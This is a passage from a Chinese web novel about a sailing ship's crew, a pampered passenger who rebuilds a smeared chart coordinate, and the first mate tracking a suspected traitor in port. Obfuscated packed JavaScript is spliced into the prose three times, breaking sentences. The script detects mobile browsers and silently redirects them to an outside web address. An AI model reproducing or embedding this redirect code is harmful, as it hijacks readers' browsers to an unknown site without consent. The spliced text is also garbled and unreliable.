男人似乎稍微满意了些,转而问道:“你安插在船上的那个‘信天翁’,最近有什么消息了?” 佩德克稍微振作精神:“‘诺尔尼斯号’已经离开岩爪湾,航向大致是往南。威廉那个老狐狸很警惕,但‘信天翁’说目前还算安全。” 他顿了顿,眼中闪过一丝算计,从怀里小心地取出一卷海图展开一角,“不过……我有个计划。或许不用等找到那‘东西’,也能让事情了结。” 海图上,某个海域被用红墨水特意圈出,旁边还标注了一些小的记号。 男人来了兴趣示意佩德克将海图拿近一些:“哦?你想怎么样?” 佩德克谄媚一笑,立马站起身:“他们如果按照路线,会经过这个海域……” 两人的低语声愈发细微,融入了岩爪湾永不停歇的海浪呜咽声中。 - 蔚蓝色的公海上,海浪轻轻拍打着木质船身。 诺尔尼斯号平稳地行驶着。 日头正好,一些水性好的水手在船尾附近尝试钓飞鱼。 银亮的鱼儿不时跃出水面,划出一道道细亮优美的弧线,挑战着水手的耐心和技术。 水手们全神贯注,钓上来一条又一条肥美的银鱼。 江熠也在其中。 他站在船舷边,目光锁定着海面下快速穿梭的银影,手臂肌肉绷紧,看准时机,手腕猛地一抖—— 鱼钩带着凌厉的风声疾射而出。 噗—— 精准命中,一条肥大的飞鱼被干净利落地提出了水面,在阳光下闪烁着耀眼的银光,徒劳地挣扎着。 “好!”周围的水手发出一阵喝彩。 他将最大最肥美的几条鱼沉默地扔在于霜脚边的水桶里,然后抱臂站在上风处不远的地方。 这个位置既能纵观全局,又能确保任何飞溅的浪花、滑倒的水手或是脱钩的鱼钩,都无法波及她所在的一小片区域。 于霜在一旁看着,来了兴致。 她让厨子老汤姆升起一小堆安全的炭火,准备亲自料理这些战利品。 她将处理好的飞鱼刷上一层清亮的橄榄油,然后拿出柠檬和一小袋研磨好的黑胡椒。 “我们家的特殊秘方,”她略带得意地对旁边好奇围观的吉勒说,“柠檬汁要均匀,每一丝纤维都要浸润到,但不能滴到炭火上影响风味。” 吉勒在她的指挥下笨拙地模仿着。 “胡椒粒必须现磨,香味挥发太快了…对,就是这样,像撒金粉一样,不能多不能少。” 她一边说,一边熟练地挤入柠檬汁,然后细细撒上胡椒粒。 吉勒边看边猛点头,心甘情愿地给于霜跑腿拿东西。 很快,一种奇异的、混合了果木炭火香、柠檬清新气和胡椒辛香的诱人气味弥漫开来,勾得所有水手都忍不住深吸鼻子,肚子里的馋虫咕咕叫。 “好香啊,西蒙小姐。”吉勒咽了咽口水,“咱们什么时候能吃上啊?” “马上。” 于霜烤好一小块,觉得还需要尝尝咸淡。 她小心地用指尖捏起那一小块色泽金黄的鱼肉,姿态无可挑剔,正准备送入自己口中。 就在此时,船身恰好轻轻一晃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303615|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几乎是同时,江熠又递过来一条新处理好的鱼,动作干脆利落。 他的手背,就那么恰好地、不经意地轻轻擦过于霜嫣红的下唇。 这个触碰突如其来,带着他皮肤的热度和一丝海风的微凉。 于霜被这意外的接触惊得手指下意识一松——那块滚烫喷香的鱼肉,直接从她指尖滑落。 “呀!”于霜低低惊呼一声,带着一丝被冒犯的惊讶。 江熠几乎是条件反射地迅速伸手去接—— 他的大手敏捷地往下方一捞。 结果,那块小小的鱼肉,没有掉在甲板上,而是正好掉落在江熠还没来得及完全摊开的掌心中央。 而更糟糕的是,因为他去接的动作,他的手指不可避免地、结结实实地包裹住了于霜未来得及完全收回的几根手指。 一瞬间,两人的动作都僵住了。 于霜能清晰地感受到他掌心灼人的温度。 这过于直接和粗鲁的接触让她瞬间瞪大了那双漂亮的眼睛。 她像是被什么东西烫到一样,猛地将自己的手抽了回来。 她抬起下巴,用那双氤氲着薄怒的眸子瞪向江熠,声音不自觉地拔高,带着十足的骄纵: “江副船长,你的手是舵盘做的吗?” 江熠也被这意外和掌心残留的细腻触感弄得一愣,还没来得及反应,就被劈头盖脸娇斥了一通。 他百口莫辩,只能迅速握拢手掌藏起那块鱼肉和尴尬,脸色绷得死紧,耳根却控制不住地红了。 他凶悍的目光扫向四周,试图压制即将爆发的哄笑。 但已经晚了。 周围死寂了一秒—— 随即爆发出震耳欲聋的起哄和口哨声。 “哇哦!!!副船长你完了!你把西蒙小姐惹毛了!” “哈哈哈!‘舵盘手’!副船长您这手劲儿是拉缆绳拉惯了是吧!” “西蒙小姐息怒!我们副船长不是故意的……大概吧!哈哈!” 于霜听着周围的哄笑,更觉脸上挂不住。她气得微微跺了一下脚,又瞪了江熠一眼,语气更加娇蛮,试图挽回混乱的局面:“江熠,你还不快拿走——” 江熠被她这倒打一耙、还如此理直气壮的样子噎得说不出话,心里那点莫名的涟漪全变成了憋闷。 他只能恶狠狠地瞪向周围笑疯的水手,声音从牙缝里挤出来:“笑什么笑,再笑今晚都给我刷锚链!” 但他的威胁此刻毫无威力,反而让众人笑得更欢。 大副雷恩捶着胸口大笑:“哎哟……‘无礼’……‘粗鲁’……老伙计,你也有今天……哈哈哈……” 又勾住威廉船长的脖子,低声笑骂:“看见没?这疯狗刚才那眼神,像是要把西蒙小姐叼回窝里啃了又舍不得下嘴…啧,铁树要开花,是这德行?” 江熠没辙,烦躁地啧了一声,黑着脸,握着那块惹事的鱼肉,转身大步走向船头。 他现在很需要冷风来吹散这该死的、全是起哄声和她身上淡淡香气的空气。 只是……江熠无意识地摸了摸手背,脑子里想的却是另外一件事。 她的嘴唇也好软。 很适合……接吻。 23. 疑踪再现 诺尔尼斯号在蔚蓝的公海上又航行了几日。 期间,天光云影共徘徊,海风时而温柔时而暴烈,但总归还都是顺利的。 水手们逐渐习惯了于霜小姐的存在,以及她那位沉默而高效的“护卫”江副船长之间那种微妙又紧绷的气氛。 那日飞鱼烧烤的插曲成了甲板上经久不衰的谈资,只是没人敢在江熠阴沉的目光下笑得太过放肆。 一日破晓,瞭望台上的水手发出长长的呼喊,打破了清晨的宁静:“陆地,十点钟方向,是扎索里小镇——” 扎索里是航线上的一个中型补给镇,以出产优质淡水和腌肉闻名。 船只需要在此停靠,补充淡水、新鲜食物,以及更换一些被风浪磨损的绳索帆布。 威廉船长站在船楼上,花白的眉毛下,他的眼神锐利地扫过逐渐清晰的海岸线。 他举起黄铜望远镜,仔细确认了港口信号塔悬挂的旗帜—— 代表安全可入港的绿底鹦鹉旗。 他放下望远镜,声音沉稳地发布命令:“右满舵,降主帆,准备入港。雷恩,带人检查锚链。江熠,核对海图,确认入港航道坐标。” “是,船长。”江熠应声,大步走向船长室。 几分钟后,船长室内的气氛却陡然凝滞。 威廉船长、大副雷恩、江熠,以及被叫来帮忙的、对这片海域较为熟悉的水手长巴斯,围在宽大的橡木海图桌旁。 桌面上摊开着通往扎索里小镇的详细海图。 所有人的目光都死死盯着海图上的一个关键点——标记入港航道精确经纬度的坐标数字。 那里,赫然有一大块模糊油腻的污渍,恰好完全覆盖了那串至关重要的数字。 污渍呈暗褐色,带着一股劣质鲸油的腥臭,像是谁不小心打翻了油灯,又随手用脏袖子抹了一把,结果反而让污迹扩散得一塌糊涂。 “该死!”雷恩大副脾气最爆,一拳捶在桌子上,“是哪个蠢货干的?!没有这坐标,我们怎么找那条该死的安全水道?这周围全是暗礁!” 小镇港口的入口水道狭窄,暗礁密布,没有精确坐标引导,大型帆船贸然闯入,无异于自寻死路。 威廉船长脸色铁青,花白的胡须微微颤抖,他看向水手长巴斯:“巴斯,最后一次确认海图是什么时候?谁负责保管?” 巴斯是个面色黝黑、身材敦实的老水手。 他此刻的额头上渗出了细密的汗珠。 他眼神闪烁了一下,带着一丝不易察觉的慌乱,连忙道:“船长,是……是我昨晚最后检查的。当时还好好的!我发誓!肯定是哪个毛手毛脚的小子半夜偷喝朗姆酒,弄洒了油灯又不敢承认!”他 语气急切,甚至有些过于激动地环视周围,仿佛想立刻揪出那个根本不存在的“罪魁祸首”。 江熠没有说话,他只是用那双黑沉沉的眸子,极快地扫了一眼巴斯下意识在裤子上蹭着的、似乎也沾着些许同样油污的手指,然后又瞥了一眼那污渍的形状—— ——那不像是无意泼洒,反而更像是有意涂抹遮盖。 但他没有立刻声张,只是将疑虑压入眼底,转而看向海图,冷声道:“现在追究是谁的责任已经没有意义了,我们现在必须尽快想办法恢复坐标。港口日志或者航海日记里还有没有备份记录?” 雷恩已经开始翻箱倒柜地查找。 威廉船长凝重地摇头:“这是最新勘定的航道坐标,因为上次飓风改变了部分礁石位置。旧的坐标已经不能用了。最新的只标注在这张主海图上……” 气氛顿时陷入僵局。 时间一分一秒过去,诺尔尼斯号正在缓缓靠近危险区域,如果不能及时获得坐标,要么冒险盲闯,要么只能绕行,无论哪种都意味着巨大的风险和时间的浪费。 水手们似乎也感受到了这份焦灼,甲板上的欢声笑语消失了,取而代之的是一种不安的寂静。 于霜原本在自己的小舱房里看书,察觉到外面的异常安静和紧张气氛,便提着裙摆走了出来。 她看到一群大男人围在船长室门口,个个面色凝重,不由得好奇地走近。 “发生了什么事?”她清脆的声音打破了凝滞的空气。 威廉船长叹了口气,指了指海图:“我们遇到点麻烦。入港的坐标被油污盖住了。” 于霜挤进人群,目光落在那片污渍上,秀气的眉毛微微蹙起。 她仔细看了看那污渍,又抬头看了看窗外越来越近的海岸线轮廓,以及远处海面上那些若隐若现的、代表着致命礁石的浪花白沫。 巴斯水手长在一旁搓着手,语气中带着焦虑:“完了完了,这下可怎么办,绕路的话得多花好几天,淡水恐怕不够啊。” 于霜却没有理会他的聒噪。 她沉默了几秒,那双总是带着几分骄纵慵懒的漂亮眼睛里,忽然闪过一丝专注的光芒。 她转身,对吉勒道:“吉勒,去我舱里,把梳妆台上那支黑色的眉笔拿来,快。” 吉勒一愣,虽然不明所以,但还是飞快地跑了去。 众人皆是不解地看着她。 江熠的目光紧紧跟随着她的背影,心中隐隐预感到了什么。 很快,吉勒取来了眉笔。 于霜接过眉笔,然后,在所有人惊愕的注视下,双手抓住自己衬裙那昂贵的内衬裙摆,用力一撕。 “刺啦——”一声清脆的丝绸撕裂声响起。 她毫不可惜地撕下足够大的一块光滑绸布,将其迅速铺在海图桌的空位上。 那绸缎质地紧密光滑,色泽纯白,宛如一片初雪。 “你这是……”巴斯惊呼一声。 于霜没有回答,她拿起眉笔,俯下身,目光在海图未被污损的周边区域快速扫过—— 比例尺、已知的辅助定位点、水深标记、洋流箭头…… 她的眼神专注而冷静,手指稳定得不像一位十指不沾阳春水的千金小姐。 接着,她开始在那块象牙白的绸缎上飞速写画起来。 眉笔发出细微的沙沙声。 她根据周边信息,心算着比例、角度和距离,偶尔会停顿一秒,眼神放空,仿佛在脑海中构建着一幅精确的三维海图。 她计算的速度快得惊人,根本不需要任何辅助工具。 短短几分钟内,那块绸缎上 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她放下眉笔,优雅地抚平裙摆,然后抬起下巴,看向威廉船长,语气恢复了那种熟悉的、理直气壮的骄纵:“船长,现在问题解决了。那么,我想要一条新衬裙,要威尼斯绸的,原样。” 她的目光清澈坦然,仿佛刚才那个展现出惊人航海天赋的人不是她。 站在一旁的江熠,瞳孔微微收缩。 他看着于霜那副“快赔我裙子”的理所当然的模样,心脏却像是被什么东西猛地撞了一下。 ——“赔我一条新裙子。” 这句话,瞬间将他拉回到岩爪湾黑市那狭窄、肮脏、危机四伏的巷道里。 于霜皱着眉,冲他撇嘴:“等出去了,你得陪我一条新裙子。” 那时他只觉这女人不可理喻,生死关头还惦记着裙子。 可现在…… 他的心潮剧烈地翻涌起来。 所以,那时她让他赔裙子,并不仅仅是因为骄纵和爱美吗? 是不是也带着一丝连她自己都未曾察觉的、对他的一种独特的亲近和依赖? 或者说,是一种只有他才能触碰到的、她真实情绪的表达方式? 无论是最初的厌恶,还是现在…… 他不敢深想下去的那丝异样。 他看着她阳光下细腻的侧脸和微翘的唇角,忽然觉得,别说一条威尼斯绸衬裙,就是她要天上的星星,他现在可能都会想办法去摘一摘。 这个念头让他悚然一惊,立刻强行压下,耳根却不受控制地悄悄红了。 他狼狈地移开视线,喉结不自然地滚动了一下。 “……没问题,西蒙,船入港后我立刻亲自为您挑选最好的料子。”威廉船长从震惊中回过神,连忙保证。 他小心翼翼地将那块绸布海图递给江熠:“贝利,立刻按照这个坐标引导入港!” “是!”江熠收敛心神,接过那还残留着一丝她身上淡淡香气的绸布,指尖微微发烫,转身大步流星地走向甲板,开始高声发布一系列精准的舵令和帆令。 诺尔尼斯号在于霜提供的坐标指引下,如同一位优雅的舞者,精准地避开了所有隐藏的杀机,安全平稳地驶入了扎索里小镇。 24. 她是西蒙 扎索里小镇地方不大,却很是特别。彩色的墙群,带小阳台的窗子,尖顶圆底的房屋……总之,像是从童话里走出来的一样。 虽不如岩爪湾繁华,却也热闹非凡。 空气中混杂着咸鱼、香料、朗姆酒和木材的味道。 船只停稳后,水手们欢呼着涌下跳板,如同放出笼的鸟儿,迫不及待地想要投入酒馆和市场的怀抱,洗去一身航海的疲惫。 威廉船长亲自去采购于霜的威尼斯绸。 雷恩大副带着一队人去补充淡水食物。 江熠则负责监督船只的维护工作,眼神锐利地扫视着周围的一切,尤其是那个行为举止似乎有些过于紧张的水手长巴斯。 他注意到巴斯下船后,并没有像其他水手那样直奔酒馆,而是在货堆附近晃悠,眼神飘忽,似乎在观察着什么,又像是在等待着什么。 江熠压住心头的疑惑,慢慢悠悠地走下船。 于霜也在吉勒的陪伴下下了船。 她对嘈杂的集市有些好奇,但也保持着距离,只是在一个相对干净的干货摊前驻足,打量着那些晒干的海货。 就在这时,旁边小酒馆里突然爆发出一阵骚动和怒骂声。两个显然已经喝得烂醉如泥的水手扭打着冲了出来,拳头胡乱挥舞,酒气熏天。 “操你大爷的,今天我不打死你——!” 他们跌跌撞撞,打斗的范围毫无章法,其中一个被猛地推了一把,踉跄着直直朝着于霜所在的方向倒撞过来。 他手里还抓着一个半空的朗姆酒瓶,眼看就要连同他那庞大的身躯一起砸在于霜身上。 吉勒吓得惊呼一声,呆立当场。 周围的惊呼声中,于霜却像是背后长了眼睛。 她甚至没有回头,只是极其自然地向后撤了半步,身体以一个轻巧得不可思议的弧度微微一旋—— 那步伐轻盈而精准,带着一种跳小步舞曲般的优雅节奏,恰好让那醉汉水手沉重的身体和挥舞的手臂,以及那甩着酒液的瓶子,以毫厘之差从她裙边掠过。 一切发生得太快。醉汉砰地一声摔倒在地,骂骂咧咧。 而于霜,在旋转站稳的同时,纤手一探,众人几乎没看清动作,那只原本即将脱手摔碎的朗姆酒瓶,已经稳稳地落在了她的手中。 那瓶里的酒液甚至没有洒出多少。 她垂眸看了一眼酒瓶,然后轻轻将它放在旁边的货摊上,避免它被摔碎。 整个过程行云流水,仿佛经过千百次排练。 那醉汉挣扎着爬起来,似乎还没搞清状况,只觉得酒被拿走了,浑浊的眼睛瞪着于霜,含糊地喊着:“酒……我的酒……” 然后竟伸手就要去抓于霜的胳膊讨要。 刚刚处理完船上事务、正快步走来的江熠,恰好将这一幕尽收眼底。 他看到于霜灵巧避开时,心刚稍定,又见那醉汉竟敢用脏手去碰她,眼底瞬间戾气暴涌。 “找死!” 他低吼一声,身形如电疾掠而至。 根本没人看清他是如何动作的,只听“嗖”的一声破空锐响。 一道冰冷的寒光擦着那醉汉探出的指尖飞过—— “咄”的一声闷响,一柄锋利的剔骨刀已然狠狠地钉在了旁边的木质舱壁上,刀柄还在剧烈震颤。 刀刃紧贴着他的皮肤,再偏一分,他的手指就别想保住。 醉汉被这突如其来的死亡威胁吓得瞬间酒醒了大半,惨叫一声缩回手,瘫软在地,□□湿了一片。 江熠看都没看那醉汉一眼,他一把将于霜拉到自己身后,用自己的身体完全挡住她,然后猛地转头,对着她厉声吼道,声音里带着未消的惊怒和后怕:“下次遇到这种杂碎,直接踹他□□,用你最大的力气,别浪费你的脑力去记这种人的脸。” 他的胸膛因为急促的呼吸而微微起伏,眼神凶狠得像要吃人。 天知道刚才他看到那脏手伸向她时,心跳都快停了。 他实在害怕。 害怕于霜受伤,出了什么意外。 于霜被他吼得一愣,随即反应过来。 她非但没有害怕,反而从江熠宽阔的背后探出半个脑袋,看着他那副紧张失措、凶神恶煞却只为护着她的模样,忽然觉得有点有趣。 她眨了眨那双明媚的眼睛,唇角弯起一丝狡黠的弧度,伸手扯了扯他的袖口: “可是,江副船长,” 她的声音轻轻软软,却像羽毛一样搔刮着他的耳膜,“我已经记住你的脸了呀。而且记得很清楚呢……从眉毛,” 她的目光在他脸上一寸寸往下。 “到眼睛,” 最后落在他紧抿的、线条锋利的唇上。 “……都记得很清楚。你说,这算不算浪费脑力?” 她这话说得暧昧不清,既像是回答他的怒吼,又像是……别的什么。 轰—— 江熠只觉得一股热血直冲头顶,整个大脑一片空白。 所有的怒吼、所有的训诫、所有的冷静自持,在这一刻被她一句轻飘飘的话炸得粉碎。 她记住他的脸了? 记得很清楚? 每一个细节? 一股不知从何而起的,滚烫的狂喜和酥麻瞬间席卷了他全身,让他四肢百骸都僵硬发麻,耳根红得几乎要滴出血来。 江熠只觉得心脏跳得快要炸了。 他死死盯着她近在咫尺的、带着无辜又狡黠笑意的脸,喉咙干涩得发不出任何声音,只想…… 堵住她那张爱乱说话的嘴。 不管用什么方式。 “……你!” 他最终只憋出一个沙哑的音节,狼狈万分地猛地转回头,不敢再看她,心脏却在胸腔里疯狂跳动,一声声敲打着那句“我记得很清楚”。 而于霜,仿佛完全没有意识到自己随口一句话造成了怎样的破坏力。 她很快被刚才惊险又精彩的一幕转移了注意力,甚至有点小得意地对着惊魂未定的吉勒和周围看呆的人解释道: “没什么好惊讶的。皇家舞厅里那些喝多了香槟、借着邀舞名义想占便宜的贵族老爷们,比这可难缠十倍。脚步虚浮,手还不老实。” 她耸耸肩,语气轻松,“要学吗?吉勒?课时费可以抵掉你欠我的那罐草莓果酱。” 吉勒张大了嘴巴,只剩下猛点头的份。 江熠原本因那醉汉而沸腾的怒火尚未完全平息,听到于霜这句轻描淡写却又信息量十足的话,心口像是又被什么东西猛地给揪紧了。 贵族舞厅,喝多了香槟,想占便宜。 这几个词组合在一起,瞬间在他脑海里勾勒出另一幅画面: 金碧辉煌却可能藏污纳垢的大厅,到处都是衣冠楚楚却心怀鬼胎的所谓绅士,而她——于霜,穿着或许比今日更华美的裙裳,像一株明珠般被围在中间。 那些贵族们被酒精和欲望熏得发晕的目光可能会死死盯住她的脸,他们的手可能会借着旋转舞步悄然滑向她腰肢或手臂,甚至更下面。 一股极其陌生且强烈的戾气猝然涌上心头,比他面对任何海上风暴或敌人时都要躁动难安。 他甚至能清晰地想象出那些虚浮脚步试图贴近她、那些不老实的手将将要触碰到她裙摆的瞬间…… 她那时会不会害怕? 会不会感到无措和恶心? 她一个年轻漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329912|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女孩,在那样的场合,面对那些经验老道、表面一套背后一套的贵族老爷,该如何自处? 这种担忧瞬间噬咬了他的心脏,让他几乎喘不过气,甚至产生了一种荒谬的、想要穿越时空去把那些胆敢觊觎她的人的眼睛都挖出来的暴戾冲动。 江熠下意识地攥紧了拳。 然而,这念头仅仅持续了一瞬。 下一刻,他几乎是立刻就在心里否定了自己那愚蠢的担忧。 害怕?无措? 他眼前闪过的是她精准避开醉汉的优雅步伐,是她在暴风雨中冷静指挥、捆绑桅杆时毫不拖泥带水的果决,是她在黑市被追杀时还能对他颐指气使要求赔裙子的骄纵和……顽强到极点的生命力。 他怎么能忘了,她可是西蒙.珀金斯。 一个能心算航道坐标、能在混乱中精准保护自己、甚至可能还藏着更多他不知道的本事的女人。 她怎么会是那种需要别人担忧她能否应对骚扰的柔弱花朵? 转念之间,江熠几乎能立刻构想出另一幅画面: 在那些虚伪的舞会上,面对令人作呕的骚扰,她恐怕非但不会退缩,反而会扬起那张漂亮又傲慢的脸蛋,用她那种特有的、带着居高临下又天真残忍的语调,吐出一些精准戳人肺管子的“赞美”或“关心”。 字字珠玑,句句带刺。 把那些自以为是的贵族老爷讽刺得面红耳赤、无地自容,偏偏还抓不到她任何把柄,只能在周围人微妙的目光下憋屈得要死,还得维持风度不敢发作。 她绝对做得到。 而且很可能做得非常漂亮,甚至乐在其中,把这当成一种无聊游戏。 想到这里,江熠紧绷的下颌线条不知不觉缓和了些许。 他对她的能力有着一种下意识的肯定。 她才不需要他的这种担忧,她的强大和聪明,远超他最初的想象,也绝非限于航海之术。 这种认知让他松了口气,随即又感到一丝自嘲。 他刚才那瞬间的暴怒和担忧,在她可能游刃有余的现实面前,显得有些……可笑,又有些多余。 但他无法控制这种本能反应,就像无法控制自己总会第一时间看向她所在的方向。 江熠强迫自己冷静下来,深吸了几口空气,努力将注意力从身边这个总能轻易扰乱他心绪的女人身上移开。 他的目光下意识地再次搜寻起水手长巴斯的身影。 这一看,他的眼神瞬间再度变得警惕起来。 只见在码头不远处的一堆木箱后面,巴斯正鬼鬼祟祟地和一个穿着兜帽、看不清面容的人快速接触着。 巴斯似乎极其紧张地左右张望了一下,然后飞快地将一个小巧的、像是卷起来的油纸包的东西塞进了那个人手里。 而那个人,接过东西后立刻压低帽檐,转身迅速消失在港口涌动的人流之中。 巴斯站在原地,似乎松了口气,又似乎更加焦虑,下意识地又擦了擦手,这才转身,装作若无其事的样子朝着酒馆走去。 江熠的心猛地一沉。 那个油纸包,还有巴斯手上那似乎总也擦不掉的油污,以及海图上那片“恰到好处”的污渍…… 所有的疑点在这一刻串联起来,指向一个令人不安的答案。 他立刻对于霜低声道:“在这里等我,别乱走。” 他语气严肃,神色认真。 说完,他不再耽搁,身形如同融入阴影的猎豹,悄无声息地朝着巴斯消失的方向快速跟去。 于霜看着他迅速远去的挺拔背影,无所谓耸耸肩。 风暴,似乎并未远离,只是换了一种方式,悄然潜入了这座看似平静的港口。 25. 完全不同 江熠小心穿过人群,一路尾随着巴斯。 他小心躲闪,提防着巴斯警惕的侦查。 巴斯看起来对扎索里小镇熟悉得很,他迅速穿过几条阴暗复杂的巷口,健步如飞。 江熠利用着每一个视线死角,恰到好处地保持着距离,所有注意力都牢牢地锁死在巴斯的背影上。 巴斯的紧张显而易见,他不时地回头张望,脚步虚浮。 就在江熠再次借着一个摊贩作为掩护,逼近到一个更可能观察到巴斯行为的距离时—— “嘿,副船长,真是您啊!” 一个声音偏细但带着明显醉意和欢快的声音如同不合时宜的号角,猛得在他身后炸响。 几乎是同时,一只毛茸茸的手臂搭上了他的肩膀,带着臭烘烘的酒气和廉价的香粉味。 江熠肌肉瞬间紧绷,猛地侧身,肩膀一沉,利落地甩开那只手臂,动作快得像风。 他转过头,映入眼帘的是水手普罗那张喝得通红的,咧着嘴傻笑的脸。 普罗显然刚从附近哪个酒馆里快活出来,眼神都有些发直了,怀里还紧紧搂着一个穿着暴露,有着一头火焰般浓密头发的女人。 那个女人也喝了不少,吃吃地笑着,半个身子都挂在普罗壮硕的身躯上,涂着鲜红指甲油的手指正不安分地在他胸膛上画着圈。 “副船长,哈哈哈您怎么过来了,走!咱俩一起去喝一杯!''黑焦鱼''家的朗姆酒够劲!费列亚娜还能叫来她几个姐妹,个个都跟小辣椒似的……” 普罗显然醉得不轻,完全没注意到江熠那瞬间阴沉得几乎要滴出水的脸色,还在热情地发出邀请,唾沫星子快要溅到江熠脸上。 就在这被耽误的一两秒。 江熠猛地转头,视线一瞬间盯紧巴斯刚才所在地方—— 空了! 刚才那个还在货箱阴影下紧张张望的猥琐身影,就像被港口的海风吹散的雾气一样,消失得无影无踪。 眼前只有来来往往忙着装货的工人和j几个追逐打闹的孩子。 巴斯的踪迹,彻底断了。 一股暴戾的怒火“轰”地一下直冲江熠的头颅,烧得他太阳穴突突直跳。 他几乎能听到自己后槽牙咬紧时发出的细微的摩擦声。 追踪的关键时期,就这样被这个蠢货在不知不觉中彻底破坏了。 他转过头,那双黑沉沉的眸子死死盯着还在傻笑,试图再次搂过来的普罗脸上。 那目光太过吓人,瞬间将普罗那点醉意吓飞了一大半。 “副……副船长……”普罗脸上的笑容僵住,舌头打结,搂着红发女人的手臂也不自觉地松开了一些。 叫费列亚娜的女人似乎也感受到了这可怕的低气压,笑声戛然而止,有些畏惧地往普罗身后缩了缩。 江熠深深吐出一口浊气,他知道此刻发作毫无意义,甚至可能打草惊蛇,强迫自己将那将要脱口而出的怒骂咽了回去,从牙缝里挤出几个字: “你很闲?” 普罗被他看得头皮发麻,酒彻底醒了,结结巴巴地回道:“没、没……没有,我就是……” “滚回船上去。”江熠语气严肃的要命,“现在,立刻。” 他甚至没有再看那个红发女人,也无需任何多余的威胁。 普罗吓得一激灵,几乎是条件反射般地站好,差点把怀里的女人推个踉跄。 “是!是!副船长,我马上回去,现在就回!” 他连滚带爬,也顾不上费列亚娜嗔怪的眼神,拉着她往船的方向跑去。 江熠站在原地,狠狠闭了一下眼。 他迅速扫视周围。 线索暂时断了,但并不意味着结束,巴斯今天的行为已经足够可疑。 江熠没有再迟疑,身形一动,再次融入人群,开始沿着可能的道路,再次追踪。 - 另一边,于霜收回目光和脸上逗弄过江熠后残存的笑意就听到身旁传来少男吉勒小心翼翼又按耐不住好奇的声音: "西蒙小姐,您……您刚刚在看什么呢?" 于霜把玩着手上的折扇,随手理了理微微飘起的裙摆,语气轻飘飘的,带着一丝漫不经心的随意,仿佛在描述一件再寻常不过的事。 “没什么,就一只被惹急了,龇着牙冲出去要咬人的狗呢。” 她本是信口胡诌,随意打发吉勒。 “小狗?”吉勒茫然地眨了眨眼,下意识望去,“刚刚过去的只有副船长……小狗在哪儿呢?” 于霜被他的直白惊得咳了一声,她连忙用扇子遮住。 吉勒挠了挠头,很快把这点困惑抛到脑后,叽叽喳喳地。 “唉,西蒙小姐,你看到副船长刚才的样子了吗!简直帅呆了!” 他边说边模仿着江熠刚才的动作,眼睛亮晶晶的。 “什么时候我能像他一样就好了……唉!西蒙小姐,你觉不觉得,副船长对你真的好不一样啊。” 于霜终于侧过头,瞥了一眼看起来兴奋过头的吉勒,语气平淡:“是吗,有吗?我不觉得。” “怎么没有!太有了!”吉勒像是终于找到了宣泄口,声音都不自觉地拔高了些,引得旁边干货摊的老板都好奇地看了他们一眼。 他连忙压低声音,但语速更快,掰着手指头开始历数,仿佛这些观察早已在他心里憋了许久: “你想啊!最开始上船的时候,副船长对谁不是冷着一张脸?规矩大过天,说话能省则省,多看谁一眼都嫌多余似的。可是对你呢?” “你晕船不舒服那次,是他在所有人都不愿意靠近的时候,亲自给您送的温水和的晕船药,虽然脸色还是臭臭的,但动作可一点没含糊。” “副船长也特别讨厌女人靠近他,但是他愿意扶你下船,牵你的手。就在刚才,那醉汉差点撞到你,江副船长冲过来的样子,简直像要杀人,我都快吓死了,我可从来没见他这么不冷静的样子。” “还有还有!”吉勒说到最激动处,“你们聊天的时候,还会用我们都听不懂的话来说……像是你们的秘密一样。” 少男一口气说完,脸颊都激动得有些发红,眼睛瞪得圆圆的,看着于霜,仿佛在寻求认同:“您说,这难道不是非常、非常不一样吗?” 于霜静静地听着,脸上依旧是那副仿佛事不关己的、略带疏离的平静表情。 她甚至微微偏过头,目光重新落回干货摊上那些奇形怪状的鱼干和海草上,伸出带着手套的指尖,轻轻拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384914|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄了一下一串晒得硬邦邦的红色海星,语气平淡无波: “是吗?或许吧。副船长职责所在,保护船上的重要乘客和资产,不是理所应当的么?毕竟,我若是出了什么事,他也不好向威廉船长交代。” 她的声音轻软,逻辑听起来无懈可击,完美地给江熠所有那些“不一样”的行为套上了一层公事公办的外衣。 然而,只有于霜自己知道,在她那副波澜不惊的表象之下,胸腔里那颗坚硬的心脏,正被吉勒这一句句朴实无华、却又具体无比的列举,乱得不成样子。 怦。怦。怦。 一声声,清晰得仿佛就在耳畔。 她确实……都记得。 记得他递过温水时,指节上还带着刚捆绑过缆绳的粗糙红痕,以及那看似不耐烦、却刻意放轻的动作。 记得黑市逃亡时,他揽在她腰间的手臂如铁钳般稳固,将她牢牢护在怀里,隔开所有可能的危险。 他胸膛传来的心跳又快又沉,混合着血腥味和汗味,还有他压抑着的、吃痛的闷哼。 更记得刚才,他疾冲而来,将她一把扯到身后时,那宽阔脊背所带来的、几乎能隔绝一切危险的绝对安全感。 